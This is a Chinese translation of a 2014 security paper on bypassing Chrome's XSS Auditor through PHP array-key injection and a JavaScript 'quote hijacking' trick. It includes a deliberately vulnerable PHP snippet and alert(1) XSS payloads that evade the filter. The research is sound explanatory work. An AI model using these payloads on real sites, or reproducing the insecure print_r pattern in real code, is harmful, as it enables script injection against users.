文章翻译自Anastasios Stasinopoulos在2014年发表的paper: Bypassing XSS Auditor: Taking Advantage of Badly Written PHP Code。因为是学术paper,所以翻译多处有删改,更侧重于攻击与利用。

简介

XSS过滤器的目的是发现如下两种XSS攻击:

  • 通过GET或POST获取的“危险”的属性标签(即<img><script>等)

  • 通过HTTP参数注入的JavaScript代码执行。

XSS过滤器,在WebKit浏览器引擎中被称为XSS Auditor,存在于Chrome、Safari等浏览器;从IE8到最新版本的IE浏览器,也提供了一个XSS过滤器;Mozilla Firefox不会预安装XSS过滤器,但有一个免费的插件叫做NoScript。以上每一个XSS过滤器都采用不同的技术检测XSS攻击。更具体地说:

  • Internet Explorer的XSS过滤器,是通过正则表达式识别HTTP请求包中的恶意的攻击媒介。过滤器将会针对潜在的恶意的部分生成一个独特的特征,而不是删除它,并等待Web浏览器的HTTP响应。如果签名匹配到包含在响应中的任何东西,则过滤器会阻止和消除可疑部分。

  • Firefox的NoScript插件同样使用正则表达式识别HTTP请求中的恶意的攻击媒介。如果有发现正则表达式和URL的攻击向量部件之间的匹配,那么对应的请求将会被删除。

  • 不同于上面两种过滤器,XSS Auditor不使用正则表达式过滤传出HTTP请求[ 10 ]。而是利用HTML解析器创建DOM树,使得代码拥有清晰的语义。这样,XSS Auditor能够很容易地识别出响应部分是否被解析为脚本。

XSS Auditor

XSS Auditor置于HTML解析器(渲染引擎负责解析HTML到DOM树中)和JavaScript解释器(解释执行JavaScript代码的虚拟机)之间,如图1所示。

图1 XSS Auditor置于HTML解析器和JavaScript解释器之间

XSS Auditor的一个重要特性是它仅检查GET/POST的HTTP响应。如果同一个可执行的JavaScript在HTTP请求和响应中均被检测到,则XSS Auditor会提出警示,防止注入的脚本被执行。更具体地说,过滤过程包括三部分:

  • 首先,XSS Auditor会检查“危险”的事件属性(即onerroronclickonload等),或者包含一个JavaScript的URL。因此,如果一个HTML事件属性被找到,XSS Auditor检查相应的HTTP请求的返回值,如果找到匹配值,过滤器认为事件属性是恶意的,并且删除属性值。

  • 其次,XSS Auditor会针对“危险”标签进行检查。如<script>, <object>,<param>, <embed>, <applet>, <iframe>, <meta>, <base>, <form>, <input><button>等。

  • 最后,XSS Auditor会过滤内联脚本注入。当XSS Auditor识别出一个script标签,会取出标签内的内容,如果对应内容同样存在于在HTTP请求包中,则认定为内联脚本注入,并且会用空字符串替换对应内容。

JavaScript小技巧 - 引用劫持

任何在<script></script>之间的字符串,如果由单引号或双引号包围,都被视为注释。

1
2
3
4
5
6
7
8
// chrome console
> console.log(23333);"]="
23333
< "]="

有意思的是,以上Payload允许把;”换成与下图中的任何元素。

引用劫持中允许的操作符和元素

JavaScript这种特性可以用于一些特定场合,如过滤了#//时的代码闭合。而在本文后续Bypassing XSS Auditor的过程中,也有很重要的作用。

Bypassing 过程

错误编写的PHP代码实例如下,我们的目标是执行<script>alert(1)</script>

1
2
3
4
5
6
<?php
$get = print_r($_GET['x']); // var_export()
echo htmlspecialchars($get, ENT_QUOTES, 'utf-8');

首先进行最简单的尝试:

1
2
3
4
5
6
x[<script>alert(1);</script>] = Value
x[key] = <script>alert(1);</script>
x=<script>alert(1);</script>

毫无意外的,全都被XSS Auditor拦截。根据Bypassing Chrome’s Anti-XSS filter,我们发现XSS Auditor不能检测分散的多个参数类型的注入。因此我们尝试把攻击向量<script>alert(1);</script>为两个或多个部分,然后让JavaScript引擎忽视"] ="。起初,我们认为这可以通过使用JavaScript的多行注释符/* */来实现,因为任何文本之间的/**将被JavaScript忽略。因此,我们试图执行payload:

1
2
x[<script>alert(1);/*]=*/<script>

然而,再次失败。在对XSS Auditor源代码进行一次广泛的搜索后,我们发现XSS Auditor阻止每一个包含HTML和JavaScript的注释部分的尝试,如<\!--///*。如果网址或HTTP请求包中包含注释字符,则该过滤器被激活,并且该尝试被阻塞。根据上个章节提到的引用劫持,我们构造出了新的payload:

1
2
x[<script>alert(1);"]="</script>

Windows 50.0.2661.87测试通过

危害

为了测试攻击的可用性,我们审计了各种PHP应用程序的源代码。我们发现许多开源CMS是含有PHP类数组注入攻击。我们已确定文件和图像管理插件“Ajax File Manager v1.0”含有此类漏洞。这个插件在TinyMCE和FCKeditor编辑器中被广泛使用。同时还在如“XOOPS,OSclass 3.4.3,zenphoto 1.4.1.4,phpmyfaq <= 2.7.0,等等应用中广泛使用。在新版本中,这些应用程序的易受攻击的插件已经得到纠正。